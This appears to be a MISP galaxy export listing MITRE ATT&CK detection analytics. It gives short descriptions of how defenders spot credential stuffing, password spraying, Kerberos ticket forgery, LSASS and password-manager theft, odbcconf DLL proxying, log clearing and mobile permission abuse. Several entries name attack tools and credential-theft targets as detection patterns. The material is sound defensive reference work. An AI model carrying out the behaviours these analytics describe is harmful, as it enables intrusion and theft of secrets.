https://attack.mitre.org/detectionstrategies/DET0615#AN1672

Analytic 1726 - AN1726

Application vetting services can detect certificate pinning by examining an application's `network_security_config.xml` file, although this behavior can be benign.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1726 - AN1726"*

Table 7464. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0646#AN1726

Analytic 1628 - AN1628

Detects timestamp changes using `touch`, `SetFile`, or direct metadata tampering (e.g., xattr manipulation) from Terminal, scripts, or low-level APIs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1628 - AN1628"*

Table 7465. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0591#AN1628

Analytic 1268 - AN1268

Credential stuffing attempts against Kubernetes API or containerized login shells using stolen or leaked user credentials

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1268 - AN1268"*

Table 7466. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0460#AN1268

Analytic 1286 - AN1286

Abuse of system-generated or default privileged accounts such as 'root' or 'vpxuser' logging into ESXi hosts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1286 - AN1286"*

Table 7467. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0465#AN1286

Analytic 1826 - AN1826

The user can view and manage installed third-party keyboards. Application vetting services can look for applications requesting the permissions granting access to accessibility services or application overlay.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1826 - AN1826"*

Table 7468. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0705#AN1826

Analytic 1682 - AN1682

Abuse of standard application protocols can be difficult to detect as many legitimate mobile applications leverage such protocols for language-specific APIs. Enterprises may be better served focusing on detection at other stages of adversarial behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1682 - AN1682"*

Table 7469. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0620#AN1682

Analytic 1269 - AN1269

Use of leaked credential pairs against Outlook Web Access (OWA), Microsoft 365, or Exchange from a single client IP with multiple failures

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1269 - AN1269"*

Table 7470. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0460#AN1269

Analytic 1629 - AN1629

Detects abuse of busybox commands (e.g., `touch`) or log timestamp tampering during backdoor persistence or evasion.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1629 - AN1629"*

Table 7471. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0591#AN1629

Analytic 1296 - AN1296

Unsigned or suspicious applications initiating network traffic claiming to be browser, mail, or cloud clients. Detects impersonation via TLS fingerprint and User-Agent string deviation.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1296 - AN1296"*

Table 7472. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0470#AN1296

Analytic 1962 - AN1962

Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1962 - AN1962"*

Table 7473. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0830#AN1962

Analytic 1692 - AN1692

Application vetting services could look for applications attempting to get `android.os.SystemProperties` or `getprop` with the runtime `exec()` commands. This could indicate some level of sandbox evasion, as Google recommends against using system properties within applications.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1692 - AN1692"*

Table 7474. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0625#AN1692

Analytic 1277 - AN1277

Password spraying or brute force attempts across user pool within short time intervals

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1277 - AN1277"*

Table 7475. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0463#AN1277

Analytic 1727 - AN1727

Application vetting services can detect which broadcast intents an application registers for and which permissions it requests.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1727 - AN1727"*

Table 7476. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0647#AN1727

Analytic 1772 - AN1772

In iOS 14 and up, an orange dot (or orange square if the Differentiate Without Color setting is enabled) appears in the status bar when the microphone is being used by an application. However, there have been demonstrations indicating it may still be possible to access the microphone in the background without triggering this visual indicator by abusing features that natively access the microphone or camera but do not trigger the visual indicators.(Citation: iOS Mic Spyware)

In Android 12 and up, a green dot appears in the status bar when the microphone is being used by an application.(Citation: Android Privacy Indicators) Android applications using the `RECORD_AUDIO` permission and iOS applications using `RequestRecordPermission` should be carefully reviewed and monitored. If the `CAPTURE_AUDIO_OUTPUT` permission is found in a third-party Android application, the application should be heavily scrutinized.

In both Android (6.0 and up) and iOS, the user can review which applications have the permission to access the microphone through the device settings screen and revoke permissions as necessary.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1772 - AN1772"*

Table 7477. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0673#AN1772
https://blog.zecops.com/research/how-ios-malware-can-spy-on-users-silently/
https://source.android.com/devices/tech/config/privacy-indicators

Analytic 1287 - AN1287

Login activity from default admin credentials (e.g., 'admin', 'cisco') on routers, firewalls, and switches.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1287 - AN1287"*

Table 7478. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0465#AN1287

Analytic 1278 - AN1278

Multiple failed authentications in unified logs (e.g., loginwindow or sshd)

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1278 - AN1278"*

Table 7479. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0463#AN1278

Analytic 1728 - AN1728

Application vetting services can detect unnecessary and potentially abused location permissions. On Android 10 and later, the system shows a notification to the user when an app has been accessing device location in the background. Application vetting services can detect unnecessary and potentially abused API calls. The user can review which applications have location permissions in the operating system's settings menu.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1728 - AN1728"*

Table 7480. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0648#AN1728

Analytic 1827 - AN1827

Many properly configured firewalls may also naturally block command and control traffic over non-standard ports. Application vetting reports may show network communications performed by the application, including hosts, ports, protocols, and URLs. Further detection would most likely be at the enterprise level, through packet and/or netflow inspection.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1827 - AN1827"*

Table 7481. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0706#AN1827

Analytic 1782 - AN1782

Application vetting services could look for `android.permission.READ_CONTACTS` in an Android application's manifest, or `NSContactsUsageDescription` in an iOS application's `Info.plist` file. Most applications do not need contact list access, so extra scrutiny could be applied to those that request it. On both Android and iOS, the user can manage which applications have permission to access the

contact list through the device settings screen, revoking the permission if necessary.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1782 - AN1782"*

Table 7482. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0679#AN1782

Analytic 1297 - AN1297

ESXi hosts initiating connections from non-standard daemons mimicking HTTP/HTTPS or SNMP traffic, but with irregular payload formats or expired/unsigned TLS certificates.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1297 - AN1297"*

Table 7483. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0470#AN1297

Analytic 1972 - AN1972

Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001) or [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1972 - AN1972"*

Table 7484. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0840#AN1972
https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html

Analytic 1279 - AN1279

Excessive login attempts followed by success from SaaS apps like O365, Dropbox, etc.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1279 - AN1279"*

Table 7485. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0463#AN1279

Analytic 1792 - AN1792

Mobile security products may provide URL inspection services that could determine if a domain being visited is malicious. Enterprises may be able to detect anomalous traffic originating from mobile devices, which could indicate compromise.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1792 - AN1792"*

Table 7486. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0684#AN1792

Analytic 1729 - AN1729

Application vetting services can detect unnecessary and potentially abused location permissions. On Android 10 and later, the system shows a notification to the user when an app has been accessing device location in the background. Application vetting services can detect unnecessary and potentially abused API calls. The user can review which applications have location permissions in the operating system's settings menu.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1729 - AN1729"*

Table 7487. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0648#AN1729

Analytic 1288 - AN1288

Execution of Microsoft-signed scripts (e.g., pubprn.vbs, installutil.exe, wscript.exe, cscript.exe) used to proxy execution of untrusted or external binaries. Behavior is detected through command-line process lineage, child process spawning, and unsigned payload execution from signed parent.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1288 - AN1288"*

Table 7488. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0466#AN1288

Analytic 1828 - AN1828

Many properly configured firewalls may also naturally block command and control traffic over non-standard ports. Application vetting reports may show network communications performed by the application, including hosts, ports, protocols, and URLs. Further detection would most likely be at the enterprise level, through packet and/or netflow inspection.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1828 - AN1828"*

Table 7489. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0706#AN1828

Analytic 1289 - AN1289

Detects thread local storage (TLS) callback injection by monitoring memory modifications to PE headers and TLS directory structures during or after process hollowing events, followed by anomalous thread behavior prior to main entry point execution.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1289 - AN1289"*

Table 7490. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0467#AN1289

Analytic 1982 - AN1982

Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control. Monitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control. Monitor for logged network traffic in response to a scan showing both protocol header and body values that may buy and/or steal capabilities that can be used during targeting. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control. Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1982 - AN1982"*

Table 7491. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0850#AN1982
https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop
https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/
https://www.recordedfuture.com/research/cobalt-strike-servers
https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html

Analytic 1298 - AN1298

Detects adversary tampering of shared directories via file drops (e.g., malicious LNK, EXE, VBS) followed by user execution or suspicious network activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1298 - AN1298"*

Table 7492. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0471#AN1298

Analytic 1829 - AN1829

Scheduling tasks/jobs can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1829 - AN1829"*

Table 7493. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0707#AN1829

Analytic 1992 - AN1992

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1992 - AN1992"*

Table 7494. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0860#AN1992

Analytic 1299 - AN1299

Detects script or binary modification within shared NFS/SMB directories followed by process execution from those paths.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1299 - AN1299"*

Table 7495. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0471#AN1299

Analytic 1333 - AN1333

Use unified logs to identify processes issuing repeated DNS queries where the resolved IP addresses change frequently within very short TTL values. Correlate with outbound network traffic to validate C2-like patterns.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1333 - AN1333"*

Table 7496. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0485#AN1333

Analytic 1433 - AN1433

Detection focuses on unauthorized manipulation of .NET AppDomainManager behavior. Defenders may observe suspicious creation of new AppDomains within trusted processes, anomalous loading of assemblies via non-standard configuration files, or registry/environment variable changes redirecting AppDomainManager to malicious assemblies. Correlated events include config file tampering, new process creation of .NET host processes (e.g., w3wp.exe, powershell.exe) with modified runtime parameters, and module loads of unusual or unsigned .NET DLLs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1433 - AN1433"*

Table 7497. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0517#AN1433

Analytic 1343 - AN1343

SaaS applications receiving authentication failures for dozens of accounts using same password or

login signature

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1343 - AN1343"*

Table 7498. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0487#AN1343

Analytic 1334 - AN1334

Monitor ESXi syslog and esxcli outputs for abnormal DNS resolver behavior, such as frequent domain-to-IP changes or unauthorized modifications of DNS settings used by management agents. Correlate domain lookups with short TTL values.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1334 - AN1334"*

Table 7499. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0485#AN1334

Analytic 1533 - AN1533

Observation of `blueutil`/`networksetup` commands or low-level APIs toggling Bluetooth or initiating transfers, especially if paired with recent large file read activity by non-GUI processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1533 - AN1533"*

Table 7500. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0554#AN1533

Analytic 1335 - AN1335

Identifies abuse of odbcconf.exe to execute malicious DLLs using the REGSVR command flag. Behavior chain: (1) Process creation of odbcconf.exe with /REGSVR or /A {REGSVR ...} arguments → (2) DLL load by odbcconf.exe of non-standard or unsigned modules → (3) Optional follow-on process creation or network activity from loaded DLL.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1335 - AN1335"*

Table 7501. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0486#AN1335

Analytic 1353 - AN1353

Suspicious enumeration of attached peripherals via WMI, PowerShell, or low-level API calls potentially chained with removable device interactions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1353 - AN1353"*

Table 7502. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0491#AN1353

Analytic 1336 - AN1336

A high volume of authentication failures using a single password (or small set) across many different user accounts within a defined time window

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1336 - AN1336"*

Table 7503. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0487#AN1336

Analytic 1363 - AN1363

Monitor unified logs for access to payment applications, browser plug-ins, or Apple Pay services from non-standard processes. Detect anomalous use of Automator scripts or keychain extraction targeting financial account credentials.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1363 - AN1363"*

Table 7504. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0495#AN1363

Analytic 1633 - AN1633

Detects exploitation attempts targeting defensive security software or OS services. Defender observation includes abnormal process behavior (e.g., AV or EDR crashing unexpectedly), unsigned/untrusted modules loaded into defensive processes, or privilege escalation from security agent services. Multi-event correlation ties exploitation attempts to subsequent evasive behavior like service termination or missing logs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1633 - AN1633"*

Table 7505. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0595#AN1633

Analytic 1337 - AN1337

Authentication failures across different accounts using a repeated or similar password via SSH or PAM stack within a short window

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1337 - AN1337"*

Table 7506. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0487#AN1337

Analytic 1373 - AN1373

Detection of adversaries tampering with container runtime security plugins, disabling admission controllers, or stopping monitoring sidecars.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1373 - AN1373"*

Table 7507. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0497#AN1373

Analytic 1733 - AN1733

Mobile security products can detect which applications can request device administrator permissions. Application vetting services could look for use of APIs that could indicate the application is trying to hide activity. The user can view applications with administrator access through the device settings, and may also notice if user data is inexplicably missing. The user can see a list of applications that can use accessibility services in the device settings.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1733 - AN1733"*

Table 7508. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0651#AN1733

Analytic 1338 - AN1338

Multiple failed login attempts across different users using common password patterns (e.g., 'Welcome2023')

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1338 - AN1338"*

Table 7509. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0487#AN1338

Analytic 1383 - AN1383

Detects non-standard compilation activity via Xcode CLI tools or bundled GCC/MONO packages writing new executable files and executing them outside dev environments (e.g., user Downloads folder).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1383 - AN1383"*

Table 7510. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0501#AN1383

Analytic 1833 - AN1833

Application vetting services could look for usage of the `READ_PRIVILEGED_PHONE_STATE` Android permission. This could indicate that non-system apps are attempting to access information that they do not have access to.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1833 - AN1833"*

Table 7511. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0709#AN1833

Analytic 1339 - AN1339

Sign-in failures across enterprise SSO applications or SaaS platforms from same IP address using the same password against multiple user identities

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1339 - AN1339"*

Table 7512. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0487#AN1339

Analytic 1393 - AN1393

Detects anomalous use of Dynamic Data Exchange (DDE) for code execution, such as Office

applications (WINWORD.EXE, EXCEL.EXE) spawning command interpreters, or loading unusual modules through DDEAUTO/DDE formulas. Correlates suspicious parent-child process relationships, registry keys enabling DDE, and module loads inconsistent with normal Office usage.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1393 - AN1393"*

Table 7513. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0504#AN1393

Analytic 1434 - AN1434

Executable or script generating large outbound network traffic targeting remote hosts or known amplification ports

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1434 - AN1434"*

Table 7514. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0518#AN1434

Analytic 1344 - AN1344

Behavioral chain: (1) a login from a third-party account or untrusted source network establishes an interactive/remote session; (2) the session acquires elevated privileges or accesses sensitive resources atypical for that account; (3) subsequent lateral movement or data access occurs from the same session/device. Correlate Windows logon events, token elevation/privileged use, and resource access with third-party context.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1344 - AN1344"*

Table 7515. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0488#AN1344

Analytic 1443 - AN1443

Detects anomalous Kerberos activity such as forged or stolen tickets by correlating malformed fields in logon events, RC4-encrypted TGTs, or TGS requests without corresponding TGT requests. Also detects suspicious processes accessing LSASS memory for ticket extraction.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1443 - AN1443"*

Table 7516. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0522#AN1443

Analytic 1435 - AN1435

Flooding tools like hping3 or nping sending large volumes of packets across multiple ports or IPs

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1435 - AN1435"*

Table 7517. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0518#AN1435

Analytic 1534 - AN1534

Detection focuses on identifying unauthorized file creation or modification within `/etc/emond.d/rules/` or `/private/var/db/emondClients`, which indicate attempts to register a malicious emond rule. Correlate with process execution of `/sbin/emond` and any launched commands it invokes, especially during boot or login events. Anomalies may include rules created by non-root users or unexpected shell commands executed by emond.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1534 - AN1534"*

Table 7518. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0555#AN1534

Analytic 1354 - AN1354

Enumeration of USB and other peripheral hardware via udevadm, lshw, or /sys or /proc interfaces in proximity to collection or mounting behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1354 - AN1354"*

Table 7519. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0491#AN1354

Analytic 1345 - AN1345

Behavioral chain: (1) sshd or federated SSO logins from third-party networks or identities; (2) rapid sudo/su privilege elevation; (3) access to sensitive paths or east-west SSH. Correlate auth logs, process execution, and network flows.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1345 - AN1345"*

Table 7520. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0488#AN1345

Analytic 1453 - AN1453

Execution of system enumeration commands such as `uname`, `df`, `uptime`, `hostname`, `lscpu`, and `cat /etc/os-release` through local terminal or scripts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1453 - AN1453"*

Table 7521. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0525#AN1453

Analytic 1543 - AN1543

Detection of compromised or misused valid accounts via anomalous logon patterns, abnormal logon types, and inconsistent geographic or time-based activity across Windows endpoints.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1543 - AN1543"*

Table 7522. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0560#AN1543

Analytic 1364 - AN1364

Monitor SaaS financial systems (e.g., QuickBooks, Workday, SAP S/4HANA cloud) for unauthorized access, rule changes, or mass export of financial data. Detect anomalous transfers initiated via SaaS APIs or new MFA-disabled logins targeting finance apps.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1364 - AN1364"*

Table 7523. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0495#AN1364

Analytic 1463 - AN1463

Execution of user-downloaded or created scripts with hidden extensions due to RTLO character insertion in filename, often present in desktop environments or phishing campaigns.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1463 - AN1463"*

Table 7524. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0527#AN1463

Analytic 1346 - AN1346

Behavioral chain: (1) third-party interactive login or mobileconfig-based device enrollment; (2) privilege use or admin group change; (3) lateral movement mounts/ssh. Correlate unified logs and network telemetry.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1346 - AN1346"*

Table 7525. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0488#AN1346

Analytic 1436 - AN1436

Adversaries inject VBA macros into Office templates such as Normal.dotm or Personal.xlsb or redirect Office template load path via registry key (GlobalDotName) to gain persistence. Template macros trigger execution of malicious code on application startup.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1436 - AN1436"*

Table 7526. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0519#AN1436

Analytic 1643 - AN1643

Detection of password manager database access (1Password .opvault, LastPass caches, KeePass .kdbx) outside expected parent processes. Identifies memory scraping attempts via suspicious API calls or tools attaching to password manager processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1643 - AN1643"*

Table 7527. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0597#AN1643

Analytic 1634 - AN1634

Detects kernel- or user-space exploitation attempts targeting auditd, AV daemons, or security monitoring agents. Defender observation includes unexpected segfaults, privilege escalation

attempts from low-privileged processes, or modifications to security binaries. Correlates exploitation attempts with subsequent gaps in logging or terminated processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1634 - AN1634"*

Table 7528. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0595#AN1634

Analytic 1473 - AN1473

Detects anomalous CI/CD workflow execution originating from forked repositories, with pull request (PR) metadata or commit messages containing suspicious patterns (e.g., encoded payloads), coupled with the use of insecure pipeline triggers like `pull_request_target` or excessive API usage of CI/CD secrets. Correlation with unusual artifact generation or secret exfiltration via encoded or external network destination URLs confirms suspicious behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1473 - AN1473"*

Table 7529. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0533#AN1473

Analytic 1437 - AN1437

Malicious VBA macros embedded in base templates like Normal.dotm or Personal.xlsb are automatically loaded and executed at startup. Template path may be hijacked to load a remote or attacker-controlled template via GlobalDotName registry setting.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1437 - AN1437"*

Table 7530. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0519#AN1437

Analytic 1374 - AN1374

Detection of adversaries modifying startup configuration files to disable signature verification, logging, or monitoring features.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1374 - AN1374"*

Table 7531. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0497#AN1374

Analytic 1347 - AN1347

Behavioral chain: (1) delegated admin or external identity establishes session (e.g., partner/reseller DAP, B2B guest, SAML/OAuth trust); (2) role elevation or app consent/permission grant; (3) downstream privileged actions in the tenant. Correlate IdP sign-in, admin/role assignment, and consent/admin-on-behalf events.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1347 - AN1347"*

Table 7532. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0488#AN1347

Analytic 1734 - AN1734

Mobile security products can detect which applications can request device administrator permissions. Application vetting services could look for use of APIs that could indicate the application is trying to hide activity. The user can view applications with administrator access through the device settings, and may also notice if user data is inexplicably missing. The user can see a list of applications that can use accessibility services in the device settings.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1734 - AN1734"*

Table 7533. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0651#AN1734

Analytic 1743 - AN1743

When vetting applications for potential security weaknesses, the vetting process could look for insecure use of Intents. Developers should be encouraged to use techniques to ensure that the intent can only be sent to an appropriate destination (e.g., use explicit rather than implicit intents, permission checking, checking of the destination app's signing certificate, or utilizing the App Links feature). For mobile applications using OAuth, encourage use of best practice.(Citation: IETF-OAuthNativeApps)(Citation: Android-AppLinks) On Android, users may be presented with a popup to select the appropriate application to open a URI in. If the user sees an application they do not recognize, they can remove it.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1743 - AN1743"*

Table 7534. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0656#AN1743
https://developer.android.com/training/app-links/index.html

https://tools.ietf.org/html/rfc8252

Analytic 1483 - AN1483

Processes such as plink.exe, ssh.exe, or netsh.exe establishing outbound network connections where traffic patterns show encapsulated protocols (e.g., RDP over SSH). Defender observations include anomalous process-to-network relationships, large asymmetric data flows, and port usage mismatches.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1483 - AN1483"*

Table 7535. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0538#AN1483

Analytic 1438 - AN1438

Detects log-clearing behavior by correlating suspicious command execution targeting log files under /var/log/, anomalous deletions or truncations of system logs, and unusual child processes (e.g., shell pipelines or redirections).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1438 - AN1438"*

Table 7536. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0520#AN1438

Analytic 1348 - AN1348

Behavioral chain: (1) cross-account or third-party principal assumes a role into the tenant/subscription/project; (2) privileged API calls are made in short succession; (3) access originates from unfamiliar networks or geos. Correlate assume-role/federation events with sensitive API usage.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1348 - AN1348"*

Table 7537. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0488#AN1348

Analytic 1384 - AN1384

Abuse of file/registry attributes to hide malicious files, directories, or services. Defender view: detection of attrib.exe setting hidden/system flags, creation of Alternate Data Streams, or registry keys altering file visibility.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1384 - AN1384"*

Table 7538. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0502#AN1384

Analytic 1843 - AN1843

Unexpected behavior from an application could be an indicator of masquerading. Application vetting services may potentially determine if an application contains suspicious code and/or metadata.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1843 - AN1843"*

Table 7539. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0715#AN1843

Analytic 1834 - AN1834

Application vetting services could look for usage of the `READ_PRIVILEGED_PHONE_STATE` Android permission. This could indicate that non-system apps are attempting to access information that they do not have access to.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1834 - AN1834"*

Table 7540. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0709#AN1834

Analytic 1349 - AN1349

Behavioral chain: (1) third-party app or admin connects via OAuth/marketplace install; (2) high-privilege scopes granted; (3) anomalous actions (mass read/exports, admin changes).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1349 - AN1349"*

Table 7541. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0488#AN1349

Analytic 1943 - AN1943

